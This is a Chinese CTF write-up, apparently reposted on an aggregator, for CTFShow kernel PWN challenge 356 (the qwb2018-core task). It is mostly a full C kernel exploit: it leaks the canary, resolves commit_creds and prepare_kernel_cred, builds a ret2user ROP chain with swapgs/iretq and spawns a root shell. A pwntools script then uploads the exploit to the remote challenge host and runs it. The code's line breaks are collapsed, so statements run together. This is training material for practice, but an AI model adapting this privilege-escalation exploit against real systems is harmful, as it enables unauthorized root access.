当前位置: 首页 > ai >正文

CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

PWN 356

本题和强网杯 2018qwb2018-core一模一样。
详细请看我之前的文章: Kernel PWN 入门(二)

exp:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr;
size_t commit_creds_addr;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void get_root(){           //ret2userchar* (*pkc)(int) = prepare_kernel_cred_addr;void (*cc)(char*) = commit_creds_addr;(*cc)((*pkc)(0));
}int show_read(int fd,size_t* addr){if(ioctl(fd,1719109787,addr)==-1){printf("[*]show_read failed");return -1;}return 0;}int set_off(int fd,int off){if(ioctl(fd,1719109788,off) == -1){printf("[*]show_read failed");return -1;}return 0;
}int show_copy_func(int fd,unsigned long len){if(ioctl(fd,1719109786,len)==-1){printf("[*]show_read failed");return -1;}return 0;
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();//leak stackint fd = open("/proc/show",O_RDWR);int i = 0;size_t stack[16] = {0};size_t rop[0x50] = {0};set_off(fd,0x40);show_read(fd,stack);size_t canary = stack[0];printf("canary is ------------->: 0x%lx\n",canary);//leak addrsize_t startup_64 = get_symbol_address("startup_64");unsigned long offset = startup_64-nokalsr_kernel_base;prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");commit_creds_addr = get_symbol_address("commit_creds");printf("offset is ==========>: %lx\n",offset);printf("prepare_kernel_cred_addr is ==========>: %lx\n",prepare_kernel_cred_addr);printf("commit_creds_addr is ==========>: %lx\n",commit_creds_addr);//ropsize_t pop_rdi_ret = 0xffffffff81000b2f+offset;size_t swapgs_popfq_ret = 0xffffffff81a012da+offset;size_t iretq_ret = 0xffffffff81050ac2+offset;for(int j =0;j<10;j++){rop[i++] = 0;}rop[8] = canary;rop[i++] = (size_t)get_root;rop[i++] = swapgs_popfq_ret;rop[i++] = 0;rop[i++] = iretq_ret;rop[i++] = (size_t)get_shell;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_sp;rop[i++] = user_ss;write(fd,rop,0x100);show_copy_func(fd,0xffffffffffff0100);return 0;
}

在这里插入图片描述

打远程用的脚本:

from pwn import *
import base64
context.log_level = "debug"with open("./exp", "rb") as f:exp = base64.b64encode(f.read())p = remote("pwn.challenge.ctf.show", 28290)
#p = process('./run.sh')
try_count = 1
while True:p.sendline()p.recvuntil("/ $")count = 0for i in range(0, len(exp), 0x200):p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")count += 1log.info("count: " + str(count))for i in range(count):p.recvuntil("/ $")p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")p.sendline("chmod +x /tmp/exploit")p.sendline("/tmp/exploit ")breakp.interactive()

在这里插入图片描述

PWN 357

http://www.xdnf.cn/news/17784.html

相关文章:

  • OpenCV图像平滑处理方法详解
  • 什么是主成分分析(PCA)和数据降维
  • Serverless 架构核心解析与应用实践
  • IPTV系统:开启视听与管理的全新篇章
  • redis中分布式锁的应用
  • 玩转Docker | 使用Docker部署JSON格式化工具ZJSON
  • 【论文阅读】基于多变量CNN模型的可穿戴外骨骼机器人人体运动活动识别
  • 计算机视觉--opencv(代码详细教程)(二)
  • Webpack Plugin 深度解析:从原理到实战开发指南
  • 【漏洞复现】WinRAR 目录穿越漏洞(CVE-2025-8088)
  • 服务器的安全检测和防御技术
  • Uniapp 条件编译详解
  • 机器学习--KNN算法
  • MySQL中的DML(二)
  • Python包管理工具uv使用教程
  • 语义 HTML 的核心价值:提升 SEO 与 AI 理解
  • 监控插件SkyWalking(一)原理
  • 【STM32入门教程】stm32简介
  • (第十五期)HTML文本格式化标签详解:让文字更有表现力
  • 《量子雷达》第5章 量子雷达发射机 预习2025.8.14
  • 腾讯混元全新开源Hunyuan-GameCraft:高动态交互式游戏视频生成框架
  • 【入门级-C++程序设计:13、STL 模板:栈(stack)、队 列(queue)、 链 表(list)、 向 量(vector) 等容器】
  • # 2025全球AI游戏市场研究报告:行业洞察与未来趋势
  • Unity人形角色IK优化指南
  • Vue3 vxeTree树形组件完全指南:从入门到精通的完整使用教程
  • 解决Maven编译时JAVA_HOME配置错误问题:从报错到根治的完整方案
  • web网站开发,在线%射击比赛成绩管理%系统开发demo,基于html,css,jquery,python,django,model,orm,mysql数据库
  • 2025天府杯数学建模A题分析
  • Swift 数据类型全景解析(基础到高阶)
  • Linux常用命令(下)